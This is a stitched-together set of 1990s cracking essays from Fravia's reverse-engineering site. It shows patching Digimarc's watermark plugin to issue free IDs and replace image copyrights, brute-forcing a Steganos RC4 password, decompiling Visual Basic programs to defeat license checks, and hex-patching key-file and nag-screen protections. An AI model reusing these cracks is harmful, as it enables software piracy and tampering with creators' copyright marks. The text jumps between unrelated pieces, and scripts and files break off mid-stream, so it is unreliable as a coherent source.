WATERWARK.
It displays a dialog box. In the 'Copyright Info' section you can read:
Creator ID: PictureMarc Demo
It is followed by a 'Personalize' button. Press it and another dialog box will
pop-out
asking you to enter your ID number.
With SoftIce, BPX the USER32!GetDlgItemTextA function. Back to PhotoShop, enter an ID
number (let's say '12345678') and press OK. SoftIce will pop here:
!
; ; > edx:= '345678'
:100017BE 83C40C add esp, 0000000C
:100017C1 51 push ecx
:100017C2 52 push edx
If you run Photoshop with those changes, and enter the code '12345678'
you'll see that your ID number will be '345678' and if you open Digimarc.ini
you'll get:
[Digisign]
CREATOR_ID=345678
PASSWORD=56932
As said above the program deletes the two first digits, so you must enter
at least 3 digits.
If you type less than 8 or more that 12 digits, you're ID number and password
will not be written to Digimarc.ini so you'll have to re-enter it each time
that's because a 'true' ID number's lenght should be within that range) though
your picture will be properly copyrighted with this ID (that's why I cracked
the first Test eax,eax).
That's all we have to crack if we want to add a FREE copyright to any image.
I hope this will help at least those who have spent a lot of money to buy
PhotoShop.
I still cannot understand why such a very expensive tool does not allow us
to copyright our own creations without having to pay again for it.
Strange world...
Right after I worked on the first part of this essay, I said to myself that,
strangely, Digimarc Corporation programmers exceled better in protecting images
than in protecting their own program...
At least that's what I was thinking BEFORE I decided to check if it was possible
to change the copyright of an already watermarked image in order to add my own
copyright inside it.
Though it is stupid (and useless) to steal a copyright and add our own instead,
my only concern was to study the level of protection of this tool.
The funny thing is that it is possible (and very easy unlike Digimarc Corporation's
comments about that)!
You can change the ID as well as the Type of Use and the Adult Content:
But I found the reason for that, on Digicom home page in their FAQs section:
"With Digimarc, Buyer Contacts Creator... Money Follows!"
Money turned those blind fools into stupid pretentious peoples who never even
try to test the reliability of such an important program.
Could you ever imagine asking (and paying) them for protecting your work/creations,
or worse, a Hollywood Movie copy protected with such a crap? Or even PlayBoy, who
proudly states that since they are using Digimarc they can track hundred of thousand
web site/home pages a week to detect if anyone is using their pics without giving
them any money? Scary world...
You are deep inside fravia's page of reverse engineering, choose your way out:
This light version will show you MANY approaches to the reversing of
the strainer... see you 'on the other side'!
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert
I rated this essay "Intermediate" level, not that I think that it is difficult to understand, but it covers many different faces
of Reverse Engineering. To follow and master everything need some knowledge. So, the reader may find here a view of
several techniques needed to defeat Steganography, password cracking, reverse engineering, along with comments of
mine on the subject.
Introduction
This essay will show how I found the Fravia's advanced steganography challenge.
Tools required
Compare : my own favorite binary comparator/hex editor included here with its source code
SoftICE 3.0
C or C++ compiler
Whatever Site downloading utility, like BlackWidow, or any other.
Steganos by Fabian
Target's URL/FTP
Steganos by Fabian Hansmann @ http://www.steganography.com
Program History
Essay
So I downloaded Steganos, and the two images from Fravia+, t_tamra7.zip file and copyoft_.zip file, and started
to have a look at them.
I discarded the GIF/s-tools4 side, since GIF are compressed and BMP usually not. (BMP might be compressed with
RLE, but not very often. As I am kind of lazy, I thought it would make one less step to do. Beside, the idea of reversing
IDEA was not teasing. I learned that Steganos uses a RC4 encryption scheme, and I like RC4 much better, since the key
computation is very fast with this algorithm.
One good feature is the Help File. Fabian is a great guy, he explains everything. So now I know from the help file that he
stores information in the LSB of each byte, and that the file is crypted using "Alleged RC4".
What the heck is Alleged RC4? Well I didn't know at that time, but if you can search the Web, that kind of question
won't stop you very long.
The next thing you learn about Steganos, is that it is able to crypt the file without hiding the data in a bitmap or a sound.
Now this is a nice feature :-D
I prepared a file named adva.txt with "http://fravia.org/abcdefghijklmn.txt" in it, just 36 bytes. I hid it in a copy of
copyoft_.bmp, and also in a file "adva.sef", crypted but not hidden.
Let's dump that file. We see a header "SteganosEncryptedFile", followed by some binary data, which is probably the
encrypted data.
Let's look again at the bmp file, and analyse the bytes at offset 0x440 ... it won't take you long before you find that every
LSB of an 8 bytes group from the bmp file represents one byte of the encrypted data found in the sef file.
So, let's write a little program to extract the data from the BMP file, and reconstruct the SEF file.
#include <stdio.h> #include <stdlib.h> void main(int argc, char *argv[]) { if (argc!=3) exit(1) ; FILE *fin =
fopen(argv[1], "rb") ; // the BMP file if (fin==NULL) exit(0) ; FILE *fout = fopen(argv[2], "wb") ; // the SEF file
unsigned char rb, rbc, cb ; int nb ; fseek(fin, 0x440, SEEK_SET) ; fwrite("SteganosEncryptedFile\0\1\0", 24, 1, fout) ; //
write the header rbc = cb = 0 ; nb = 0 ; while(1) { if (fread(&rb, 1, 1, fin)<=0) break ; // pick up each byte cb >>= 1 ; if
(rb & 1) cb |= 0x80 ; rbc++ ; if (rbc>=8) { rbc = 0 ; fwrite(&cb, 1, 1, fout) ; cb = 0 ; nb++ ; if (nb>=60) break ; // see the
text for this line, not here in first version of the prog } } fclose(fout) ; fclose(fin) ; } The first version of this program
(without the commented line) was used to process the whole BMP file. After a few tries, I found that just the first bytes
were needed, so I cut the file there. Obviously Fabian fills up the BMP file with noise.
I found that this length doesn't have to be exact, since Steganos doesn't check it, as long as it has enough data to process.
So I let a couple of more byte to go in the file, just in case the compression was worse for the Fravia's adva.txt file than
for mine.
Anyway, it's little matter for the moment, since we'll use only a few bytes of the beginning of the crypted data to find the
key(but I didn't know for sure at that time)
MOST IMPORTANT
Now that you have your nice extraction tool, VALIDATE it by processing a few different data files (of the same
size, since I hardcoded it), hiding them in the BMP file, using the extraction tool to generate the SEF file, and
checking that Steganos can retreive the data from that generated SEF file. You must be confident in your data
before you can go further.
Another point: this extractor won't work for other data file size, and BMP files, since it does not care about the end of
lines in the BMP. End of lines are tricky in images, and Fabian probably skips them. For our purpose here, we don't care,
since we just need a few bytes, much less than a pixel size of a line.
Another small point: I didn't really understand why Fravia+ gave us the original file.
I thought it might be needed, but it is not. Hide another random text file in the BMP, and you get a good candidate for an
'original' BMP file
I prepared an encrypted file (not hidden) from a 36-bytes text file named adva.txt, and launched Steganos under SoftICE.
Ran it up to the password entering page, and set a breakpoint with BPX GetWindowTextA.
Set a breakpoint at this address with BPMW [addr] RW, and run, you'll get right where Fabian uses the key. The first
time is right in the middle of a strlen(), not very interesting.
Hit G two more times, and then you get in the middle of a code where Fabian copies the key 32 times to generate a 256
characters key.
Set a breakpoint to the adress of this 256 key buffer (BPMW ds:44D9D8) and G again, and you land at cs:40D97E right
in the middle of the key computation. Go on with BPX cs:40D9E5, and use the P command to exit all routines up to
cs:404420, where a call gives the result 0x61, first letter of the hidden filename.
Notice: Look at the state part of the computed key after its generated (it is at ds:44D8D8), and compare it with what the
Cypherpunk's algorithm gives with the same ascii key. You'll see that it's the same, so we know that the key computation
is identical to the Cypherpunk's version.
Now reverse the routine 404420, and you'll see that it computes the RC4 key in a slightly different way that the
Cypherpunk's routine, as you will se at cs:40D837. Here it is now, functionnally equivalent, ready to replace the same
routine from the Cypherpunk package.
void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key) { unsigned char x; unsigned char y; unsigned char*
state; unsigned char xorIndex; short counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter <
buffer_len; counter ++) { x = (x + 1) & 255; y = (state[x] + y) & 255; swap_byte(&state[x], &state[y]); xorIndex =
(state[x] + state[y]) & 255; key->cte += 13 ; // difference with Cypherpunk key->cte &= 0xFF ; // difference with
Cypherpunk buffer_ptr[counter] ^= state[xorIndex] ^ key->cte ; } key->x = x; key->y = y; } That's it, you have enough
to make yourself a key generator. You'll find mine in the "Final Approach" chapter, with a fast version of prepare_key I
found on the 'Net somewhere (Bad me. I should reward the original author of this, but sorry, I didn't keep track of this
nice guy's name)
So the first approach is Brute Forcing. Now that we have the bits and bytes of the coding, we can make a bruteforce
program, able to compute about 20,000 keys per second. Scanning all keys of a 8 letters password will take 26^8 tries,
that is, take about 120 days to find it. (I won't give you this program, it's easy for you to write it if you want with the
above elements) It works, but it's too slow.
The accelerator
The probability of appearence of letters in English is as this : esiarntolcdugpmhbyfvkwzxjq (at least it is like this in the
dictionary file I dowloaded)
Instead of trying all combinations of letters starting with a, b, c, etc, using e, s, i, etc... saves time for this search by a
factor of about 13, finding the solution in about 9 days.
Works too, but it's again too slow, and the time saved is unsure, as it depends on the key.
I downloaded wordlists from ftp.cdrom.com (especially English and Finnish, wonder why :-), and used a program to test
all the words as passwords. This is incredibly fast, but it failed.
I used a Site Download (BlackWidow) utility to get all the Fravia's pages. By the way, I didn't find a good tool for this
task. Some of them are "Full Bug Inside", and blow all the time, some of them download the site ten times just to make
the page list (wonder why), some of them are limited. Do any of you know of a good clever one?
Anyway, once you have all your target's pages, you get some kind of "picture of his world", the way he interact with the
language he uses. I used the following programs to make a word list for the pages (these tools are available in Unix
environment, but not under Windows. So I wrote them.)
// program WORDS to extract all words from a file #include <stdio.h> #include <ctype.h> char w[256] ; main() { int ch;
int col; col = 0; while ((ch = getchar()) != EOF) { if ((isalpha(ch))&&(col<255)) { w[col++] = ch ; } else { if (col >= 3) {
w[col]=0 ; puts(w); } col = 0; } } } // Program XDUPL to suppress duplicates #include <stdio.h> #include <string.h>
#include <ctype.h> char w[256] ; char wc[256] ; int main(int argc, char *argv[]) { *wc=0 ; while(gets(w)) { int l =
strlen(w) ; if (l<=0) continue; else if (!isalpha(w[l-1])) w[l-1]=0 ; for(int i=0; i<l; ++i) w[i]=tolower(w[i]) ; if (strcmp(w,
wc)) { puts(w) ; strcpy(wc, w) ; } } } use with : for %i in (*.htm) do words < %i >>list.txt sort <list.txt >lists.txt xdupl
<lists.txt >fravia.txt I used the obtained file as a dictionary, but it failed again.
Filtering is a method that generates 'probable keys'. They are dangerous methods, in that they remove arbitrarily
complete ranges of keys from our scan. You really need to know that the removed keys have less probabilities to appear
unless the method is just a waste of time.
Another way of considering filtering method, is not to suppress low probability keys, but reorder the tests of these keys
so the highest probable keys (from your criteria) will be scanned first. This method can statistically accelerate the
findings.
Siko's method
You'll need to discover the Fravia's advanced java page to learn about this method. I didn't try it, (because I wasn't aware
of it by that time) but I take the opportunity to comment it a little bit here: As it is not symmetrical regarding the letter
ordering, it might fail badly, and the routine contains at first a restrictive condition :
if (pass[pos] == pass[pos+1]) { return 0; } contradicting some of the letters choices : case 'f': if (strchr("aefilortu",
pass[pos+1]) == NULL) return 0; a word like "afford" wouldn't pass, as an example. These are 'tunings' you need to be
aware of.
Build all words containg not more than 1 consecutive vowel and 2 consecutive consonants. Works, but it's dangerous and
slow.
These methods use other approachs, like trying 'obvious' passwords ('steganos', etc...)
In fact, I read that zeezee, (and others) did find the solution (at least I thought they did). In the pages BlackWidow
dowloaded for me from Fravia's site, I found a page named 'zee__4.htm'. Soooo, maybe one of the solutions can be
found in 'zee__3.htm' ? or 'zee__5.htm' ? It didn't work, but it was worth a try. I named this page originally
'flynn__1.htm', but see how it's named now, I bet you Fravia+ changed it before he published it. Wonder why ?
(see the advanced version, where a long and quite interesting c 'real reversing engineering'
program follows)
... This program doesn't use the supposed file name 'adva.txt', but prints whatever ascii filename it could, so I could be
able to detect if Fravia changed the file name. Useless actually. This program found the key within minutes, and guess in
which file ... "Fravia.txt", the dictionary of terms imported from Fravia's site !
It sounds obvious afterwards, but this enlighten the fact that getting the "target's context" is essential in such a search.
His password is probably a mixture of it's usual words.
Final Notes
We could find that password only because Fravia+ limited the number of letters in it, and told us about it. Would have he
used a more complex one, we would need centuries of computing time to find it, or a lot of mathematical analysis to find
a RC4 flaw, that probably doesn't exist.
I wish I could use this 'final notes' area to comment a small point from Fabian himself.
One can remark that most of the complicated work above has been done to 'crack' a RC4 password; not to extract the
information from the BMP, task somehow easy.
Fabian said that steganography can be revealed because the bmp containing the hidden file compress less than the
original one. This is only true because of Fabian's way of doing things, filling up the BMP unused area with noise.
I agree on compressing and crypting the file before hiding it. But I disagree on how the hiding is done, if room is left.
Instead of filling up the file with noise, you can spread the information onto the whole file, using as a storage for one bit
a n-bits cell (n being the total size available divided by the size of information to be hidden). Taking care to only switch
bits in these cells whenever possible, the bandwidth will look about the same, and it will be difficult to know that a file is
hidden. Pkzip as an exemple would compress the file with the same efficiency.
The significant bit of every n-bit cell can be chosen using the crypt function itself, making it real hard to reconstruct.
Jean "Flynn".
Ob Duh
I guess the usual Fravis's Ob Duh section doesn't apply here. We just reversed a small part of Fabian's Steganos in
order to crack Fravia+'s password and we didn't crack any protection whatsoever.
You are deep inside fravia's page of reverse engineering, choose your way out:
This essay is quite easy to understand. It gives some basics about how to reverse engineer Steganos in general. If you know
how to work with Wdasm89 and SoftIce, you'll not have any problems to comprehend. It is recommended to know a little bit
of Pascal, though.
Introduction
Jean Flynn wrote a great essay about how he reached the advanced stego
page, but he didn't mention some details about Steganos that are very
useful to know.
The program calculates a checksum of the password. This'll be the target
of my brute force attack.
Tools required
W32Dasm
SoftIce
Steganos Decryptor 1.0 (Steganos itself should work, too)
Turbo Pascal (any version should do)
http://www.steganography.com
Progr= am History
Essay
By setting a bpx 402a34, you'll find the original checksum in cl (8a for
+Fravia's image).
This is a good target for our attack, because it will sort out lots of
wrong passwords. +Fravia told us that his password has 8 chars and i
guessed that all of them were lower case (very probable for +Fravia's
passwords :-).
Thus, I was able to sped up the algorithm a lot.
checksum:=0;
for a:=1 to 26 do begin
chksum:=fe[a] xor chksum;
for b:=1 to 26 do begin
chksum:=(fe[b] shl 1) xor chksum;
for c:=1 to 26 do begin
chksum:=(fe[c]*3) xor chksum;
for d:=1 to 26 do begin
chksum:=(fe[d] shl 2) xor chksum;
for e:=1 to 26 do begin
chksum:=(fe[e]*5) xor chksum;
for f:=1 to 26 do begin
chksum:=(fe[f]*6) xor chksum;
for g:=1 to 26 do begin
chksum:=(fe[g]*7) xor chksum;
for h:=1 to 26 do begin
chksum:=(fe[h] shl 3) xor chksum;
if (chksum=$8a) then ChkIfRightPwd;
chksum:=(fe[h] shl 3) xor chksum;
end;
chksum:=(fe[g]*7) xor chksum;
end;
chksum:=(fe[f]*6) xor chksum;
end;
chksum:=(fe[e]*5) xor chksum;
end;
chksum:=(fe[d] shl 2) xor chksum;
end;
chksum:=(fe[c]*3) xor chksum;
end;
chksum:=(fe[b] shl 1) xor chksum;
end;
chksum:=fe[a] xor chksum;
end;
Note: fe[1..26] contains 'a'..'z'
It looks complicated, but is really fast. But there are still several
thousand "right" passwords.
Notes
{
function decode (b:byte; var codetable:array of byte;var count:byte;var
co:byte;
var old: byte):byte;
var temp: byte;
begin
inc (count);
old:=codetable[count]+old;
temp:=codetable[count];
codetable[count]:=codetable[old];
codetable[old]:=temp;
temp:=codetable[count]+temp;
temp:=codetable[temp];
co:=co+$0d;
b:=b xor temp xor co;
decode:=b;
end;
Notes
Final Notes
Ob Duh
Hey, Ob duh does not apply: Steganos Decryptor is freeware :-) If you just want to strip files out of images, you don't have to
pay a penny.
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to stego.htm
FRAVIA'S STEGANOGRAPHY
A little steganographical history
WARNING: The following has been pilfered from a VERY GOOD PAGE:
http://patriot.net/~johnson/html/neil/stegdoc/sec202.html
I'll slowly modify and add stuff here as time goes by, for the following information you should not
thank me, but http://patriot.net/~johnson/html/neil/stegdoc/sec202.html
Another ingenious method was to shave the head of a messenger and tattoo a message
or image on the messengers head.
After allowing his hair to grow, the message would be undetected until the head was
shaved again.
Another common form of invisible writing is through the use of Invisible inks.
Such inks were used with much success as recently as WWII. An innocent letter
may contain a very different message written between the lines [Zim48]. Early in
WWII steganographic technology consisted almost exclusively of invisible inks
[Kahn67].
Common sources for invisible inks are milk, vinegar, fruit juices and urine. All of
these darken when heated.
With the improvement of technology and the ease as to the decoding of these invisible
inks, more sophisticated inks were developed which react to various chemicals.
Some messages had to be "developed" much as photographs are developed with a number
of chemicals in processing labs.
Null ciphers (unencrypted messages) were also used. The real message is "camouflaged"
in an innocent sounding message.
Due to the "sound" of many open coded messages, the suspect communications were
detected by mail filters. However "innocent" messages were allowed to flow through.
An example of a message containing such a null cipher is:
By taking the first letter in each word, the following message can be derived:
The following message was actually sent by a German Spy in WWII [Kahn67]:
Taking the second letter in each word the following message emerges:
Even the layout of a document can provide information about that document.
Brassil et al authored a series of publications dealing with document
identification and marking by modulating the position of lines and words
[Brassil-Infocom94, Brassil- Infocom94, Brassil-CISS95].
Similar techniques can also be used to provide some other "covert" information
just as 0 and 1 are informational bits for a computer. As in one of their examples,
word-shifting can be used to help identify an original document [Brassil-CISS95].
Though not applied as discussed in the series by Brassil et al, a similar method can
be applied to display an entirely different message. Take the following sentence
(S0):
This is achieved by expanding the space before explore, the, wide, and web
by one point and condensing the space after explore, world, wide and web by
one point in sentence S1. Independently, the sentences containing the shifted
words appear harmless, but combining this with the original sentence produces
a different message: explore the world wide web.
Resources
If you want to learn more about steganography and cryptography or security issues in general check out the following
Resources:
sci.crypt
Snake Oil Warning Signs: Encryption Software to Avoid how to determine if a crypto software is weak
(http://www.research.megasoft.com/people/cmcurtin/snake-oil-faq.html)
Applied Cryptography the very best book on cryptography, not steganography; Bruce Schneier, published by Wiley, ISBN
0-471-11709-9
Electronic Frontier Foundation (EFF) wants to protect civil rights on the net - against crypto restrictions (http://www.eff.org)
~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The above line is done by a couple of lines, in my HTML, that look like this:
<script>
document.write("By the way, you have been to this page "+gettimes());
</script>
XServer: WebSTAR
XContent-type: text/html
XSet-Cookie: Count=1; expires=Wednesday, 09-Nov-99 23:12:40 GMT; path=/; domain=.geocities.com
the X at the beginning of each line represents a line-feed. After this stuff comes the HTML page itself.
anyway:
the download consists of three files
ftplib.pl (goes into lib folder)
URL.pl (goes into lib folder)
url_get.pl (modify & run this one)
If you want you can define a file for the HTML document to be saved to. If not don't uncomment that
line.
Here it is
Have Fun
FIRST SCRIPT
~
Go to netscape please
<---------begin Cutting Now---------> <script LANGUAGE="JavaScript"><!-- var
uagent=navigator.userAgent; if (uagent.indexOf("MSIE") == 25) { document.writeln('<META
HTTP-EQUIV="REFRESH" CONTENT="2; URL=http://www.netscape.com/">'); } //--> </script>
<----end Cutting Now------------>
SECOND SCRIPT
~
MSIE not allowed
<---------begin Cutting Now---------> <script language="JavaScript"><!-- Hide for old browser // This
JavaScript is written by Moh! // Modified by WiZZiE // Use it and modify it if you like // it's for those
who don't want their Page be compatible for MS IE 3.0 :)....have fun // be so nice an leave my Name in
the above of that thx!</script> <script language="JavaScript">var uagent=navigator.userAgent; if
(uagent.indexOf("MSIE") == 25) { alert("STOP ! You are using MS Internet Explorer (TM)!");
alert("And this page prohibits IE users from viewing it."); if (confirm("Do you want to go to Netscape's
Site in order to dowload Netscape Navigator?")) {locaction.href="http://www.netscape.com" } else {
("OK you choose I don't care! Bye bye!....come back when you have Netscape Navigator!"); self.close();
} } // End hide ></script> <------end Cutting Now------------>
THIRD SCRIPT
~
Compulsory Netscape
<---------begin Cutting Now---------> <script LANGUAGE="JavaScript"><!-- var
Well, Visual Basic cracking can always come at hand... here is another essay by Zero, master of the "save disabled"
protections
This program is pretty useless, even for a DNA hacker like me, but I
decided to crack it, because the authors of this program were too pushy
asking for my money and I don't like that. As it turned out, this program is
also good candidate for the most stupid protection award (IMHO).
To make it clear: I can understand if a programmer implements a simple
protection scheme knowing that it will protect against average users, (even
if the more complicated ones will be useless against dedicated crackers :-)
What I can't understand is, why they put two locks on the front door and
let the back door wide open. As you will see, in this case it probably took the
programmer more time to code and debug the protection routine than us to
crack it.
Let's crack:
This program, written in Visual Basic, means that WDASM is no good, and
that debugging with Softice will not be a great fun, either.
You could crack the registration as written in the fine essay by Razzia,
of course... yet let's see if there is another... a more "relaxed" way.
Let's try first of all DoDi's excellent VBdecompiler, an obvious choice.
You can get the demo version from his homepage at
http://ourworld.compuserve.com/homepages/DoDi/ but it
can't decompile large files like ptk13.exe, so I suggest to get the registered
version of this nice decompiler, somehow :-)
Let the decompiler operate on the PTK13.EXE file. Surprise! It works nicely
and we practically have the VB source code in our hands (what a shame!).
The meaningful variable names are gone, but that's really no problem
for us.
After a little searching, we find the interesting REGFORM.BAS module.
Ok, let's peek into it! All right, the code deals with the registration,
and the most interesting part is this:
Sub OKButton_Click ()
Dim l005A As Integer <-Flag
Dim l005C As String
Dim l0060 As Integer
l005A% = fn6338(rname, rlicence) <-Flag set here
If (l005A% = 1) Then
gv0668 = Trim$(rlicence.Text) <-Good guy goes here
gv0664 = Trim$(rname.Text)
gv066C = Trim$(rcomp.Text)
l005C$ = gv0464 & "ptk.ini"
l0060% = extfn1050("Registration", "Registered User", gv0664, l005C$)
l0060% = extfn1050("Registration", "Company", gv066C, l005C$)
l0060% = extfn1050("Registration", "Licence Number", gv0668, l005C$)
PFWmenu.Export.Enabled = True <-Let's enable everything for good guy
PFWmenu.save.Enabled = True
PFWmenu.save_as.Enabled = True
PFWmenu.SaveButton.Enabled = True
Unload RegForm
Else
gv0668 = "" <-Bad guy goes here
rlicence.Text = ""
MsgBox "Invalid Licence Number", 48, "Registration Failure"
Exit Sub
End If
End Sub
Function fn6338 (p0068, p006C As Variant) As Integer <-This sets the flag
Dim l0072 As String
If (Len(Trim$(p006C)) <> 16 Or Mid$(Trim$(p006C), 6, 1) <> "-") Then
fn6338 = 0
Exit Function
End If
l0072$ = fn2030(p0068) <- Last ten char of the licence is calculated
If (UCase$(Mid$(Trim$(p006C), 7, 10)) = l0072$) Then
fn6338 = 1
Else
fn6338 = 0
End If
End Function
Well, the above snippet talks for itself. The licence code is checked
with the fn6338 function which gets the name and registration code as
input. The code must be 16 char long with the 6th char being a dash.
The last ten character of the code are created by the fn2030 function
which gets the name string as input. Ok, let's search for the fn2030
function in the decompiled modules. We find it in MODULE5.BAS:
1) The beginner crackers that they can spare a lot of work by trying a VB
decompiler, before attacking with Softice.
Finally, I would like to thank +ORC and his' students for the fine essays
and Fravia+ for his amazing WEB site.
Written by ZER0
You are deep inside fravia's page of reverse engineering, choose your way out:
' WRZSPLIT.FRM
Option Explicit
Declare Function extfnC8 Lib "SETUPKIT.DLL" Alias "DiskSpaceFree" () As Long
GoTo L2AA0
L2A74:
m0028 = "NOT Registered" ; otherwise "NOT Registered"
Resume L2AA0
As you can see, the program will assume it is Registered if there is no error
occurring
after trying to open the WRZSPLIT.RJZ file in the current directory.
Of course, if you search for such a file you won't find it.
If you create one and run WRZSPLIT.EXE, it will be Registered. The program doesn't
care
if this file is empty or not, only its presence is required.
The best way to crack it is to load WRZSPLIT.EXE with HexWorkShop and to search
for "WRZSPLIT.RJZ" then to replace it with "WRZSPLIT.EXE" so that the program will
now search for itself and will then be registered.
(Note that this protection (registration/missing file) is used by a lot of programs).
If lines like "Email me for instructions on how to register it" were removed, it
would
make our life a little more complicate (and we would assume that this is only a
Demo).
It's like if the program would tell you:
"Sorry but I cannot find WRZSPLIT.RJZ so you are NOT a Registered User!".
I remember the very first copies of "WinZip" for Win3.xx:
The program was supposed to be a Demo until someone discovered that, in the About
dialog box, when pressing the "R" key on keyboard a little message box was popping
asking for a serial number to unlock it!
Such tricks can be good 'home made' protections and it is not to much complicate to
hide them so that even BRWorkshop will not reveal them.
And finally, there are plenty of available tools protecting from VB Discompilers.
You are deep inside fravia's page of reverse engineering, choose your way out:
by +PopJack
Well, it was about time... visual basic reversing seems to be VERY neglected lately... a pity, because this language can
(slowly) be used to prepare some interesting "quick crack tools", as the +HCU will demontrate next year with two projects
connected to this one: Visual Basic tools for reverse engineering and Visual basic tools for protecting your anonymity... as
you see there is a lot of work ahead also for our friends "visualbasers"!.
This interesting essay by +PopJack opens the "hunt" for vb controls. We are still awaiting the promised tutorial on OCX
reverse engineering by Cat (Ola, amigo, estas muerto?), let's hope that +PopJack will send his essay asap
Tools needed:
Target: HSlide.vbx
Get it at: www.mabry.com
When you use the custom control it displays a nag screen for
some seconds.
Since the nag screen appears during a limited amount of time
let's try a classical breakpoint: bpx settimer.
This is where we land
:0001.2032 56 push si
:0001.2033 6A01 push 0001
:0001.2035 68E803 push 03E8
:0001.2038 6A00 push 0000
:0001.203A 6A00 push 0000
:0001.203C 9AFFFF0000 call USER.SETTIMER ;HERE!
:0001.2041 C706F6070000 mov word ptr [07F6], 0 ;initialize counter
:0001.2047 EB1F jmp 2068
:0001.2049 90 nop
The thing to do to take care of the delay is very simple isn't it?
Lets do it
:0001.2041 C706F6070E00 mov word ptr [07F6], 000E
:0001.2047 90 nop
:0001.2048 90 nop
:0001.2049 90 nop
Remember that our teacher +ORC told us not to use sucessive nops, but in
this case there is no problem.
Now the Aboutbox, which is really more interesting from the point of vue
of reverse engineering.
First some general info on VBX initialization: proc LIBMAIN is called
only NCE upon VBX first load, and each instance of the custom control
must call VBINITCC to initialize itself.
So the VBINITCC is normally a good place to start tracing.
Example 2)
In Visual Basic there are a set of functions to access the windows API -
the so called VB API.
The custom controls can determine the state of the VB application by
calling a function - VBRuntime.
This function resides both in VB.exe itself and in the VB runtime dll -
VBRunxxx.
I did some work to identify where in the code does this function returns
its value.
Here follows what I found:
i) In the VB environment you find it at SS:8D4C.
In design time it returns 0, in runmode (still in the
environment) it returns 2.
ii) In the exe file the runtime state value returned from the
VBRunXXX.dll is in SS:6FE6 and has a value of 1.
from VBRun300.dll
:0001.0EBE 0BFF or di, di
:0001.0EC0 741E jz 0EE0
Example 3)
Normally custom controls come with a license file that enables you to
use it in the VB environment, and you should not distribute it along with
the final exe file.
Let's see one such case: a custom control for managing serial
communications.
See you
+PopJack
(c) +PopJack 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
by flipper
Well, an OPEN ongoing project... we need help on this by you all Visual Basic reverser... some of you had already seen
the "first part" of this work by flipper, I'll publish the first part AND the second part even if there are some
redundancies: this all makes interesting reading in my opinion... we have here a visual basic (apparently tough)
protection against decompilation... who would have thought it?
Yes, as our French friends say: "Tout passe, tout lasse, tout casse"... You could (freely) translate this with "Everything
has an end, everything can be cracked" :-)
First part follows
Second part is here
First part
Fravia+,
This is the message that appeared on October 12, just a week ago, from +Sync:
"I have spent several days looking at a VB3 program called POPIt, and
have had very little success. I have talked to Razzia as well as
several others on IRC and it seems that this program has not yet been
cracked. I was hoping you could possibly post a challenge on the +HCU
page, looking for information on the scheme this program uses. It
claims that it uses the hard drive serial number off of your computer as
part of the protection, but I have doubts as to the validity of this"
For the past couple of hours, I too was intrigued by this protection scheme.
Normally, the first thing you think of when cracking VB programs is to run
DoDi's VBDIS Decompiler, but it just won't work here. You get various error
messages, and the program quits. Sometimes, it even says the mysterious
phrase "Cheat" for no reason at all. I hope this 'essay' of sorts starts up
a new +HCU project, because what I'm about to tell you may very well change
the way you look at Visual Basic projects again.
Okay, why not use SoftIce here? Well why not? The truth is, I have yet to
install the new version, and my video card is incompatible with SoftIce.
So, what next? I took one of my own VB compiled programs, and tried to de-
compile it. It worked alright, without any errors. So I decided to download
"Decompiler Defeater" from NPI's website (I trust you can find this program
if you need it, check for "OVERRIDE.ZIP" using Altavista). After using it on
my own program (UDP Sniffer), I saw that it was nothing more than a useless
toy for lazy VB programmers. Look closely, it's protection can easily be
defeated. All it does is overwrite selected "important" bytes from the VB
executable file, like the main form's header 'code', or the actual form names
themselves. No wonder my programs stopped working after protecting them with
this piece of junk.
I checked out POPIT.EXE (16 Bit & 32 Bit vers), and discovered that NONE of
these tricks had been used. I tried to change bytes around various headers,
but nothing worked. So now it was obvious, this was no ordinary VB compiled
file. Back to Altavista, I searched for "OVERRIDE.ZIP" and came up with a
homepage that had another file listed on it called MAKE_MAK.ZIP. The descrip-
tion is as follows.
That sounds like a nice program to protect my VB file, let's download it.
After searching Altavista again, I found a homepage where I could download
this wonderful gadget. You can get a copy at the following URL.
http://www.programmersheaven.com/files/file1.htm
So I decided to test this one out. Guess what? It stopped DoDi's decompiler
before it even had a chance to pick out my object data. But wait, it still
loads up the VBX files.. strange, let's have a look at my EXE file again.
Here's the original file, at the form resource entry point. To find it in
any VB file, search for the pattern '03 20 81 80' in hex, there's only one
location for it.
Now, what about the same location in the "protected" one made by MAKE_MAK?
Notice how the "SNIFF.FRM" file reference is missing? And the filesize of
the protected executable is smaller than the original version.
Sorry for the extra long log file description, but I thought it was im-
portant to note what's happening here.
First, MAKE_MAK is loading, then you pick a MAK file to compile, it loads
up VB.EXE (the compiler), and then proceeds to compile the program, BUT
somewhere in between it accesses one of the temp files VB is making, and
does something to it.
Visual Basic's compiler created that file in my temp directory, and then
used it to compile the final application. Somehow, MAKE_MAK modified this
file, and changed its contents so that the final EXE file is in "shrouded"
form. I tried jumping to DOS and running undelete. I managed to salvage the
file above, but I came up with random strings from a recent Windows memory
dump of sorts.
That's about it. I know a few more things about POPIt though. You must con-
figure it to enable the registration button, then possibly someone could use
SoftIce on it to get a working reg name/num.
Also, as a final note, I checked out MAKE_MAK's claim that it works with all
VB versions, and they were right. It successfully removed all references to
any FRM files from my VB executables (v3.0, v4.0, and v5.0).
Second part
An Explanation of how Make_Mak for Visual Basic Works
Written by flipper (upg)
After a few more hours of looking at Make_Mak for Visual Basic, I realized
that this was a project I couldn't do alone. So, here are my findings for
this strange and very rare VB utility.
1. Make_Mak - http://www.programmersheaven.com/files/basic/MAKE_MAK.ZIP
2. OpenTrap - ftp.jwpepper.com/pub/pcmag/opentr.zip
or ftp.zdnet.nis.newscorp.com/pcmag/1997/0701/opentr.zip
3. WinSourcer v7.0 you can find it on the Web
Phase 1
-------
I then renamed it, and loaded Make_Mak up. Make_Mak is a program that can
compile up to 3 Visual Basic MAK files in a sort of batch queue. There's
one interesting option in it though. You can select the "DecompDefeter" so
your final executable cannot be decompiled by Dodi's VBDIS. I had to find
out what caused this, so I began to investigate.
Before I continue, you might want a copy of the two files I'll be working
with, so I'll post them below in UUENCODED format.
section 1 of 1 of file nothing.zip <uuencode 5.32 by R.E.M.> begin 644 nothing.zip
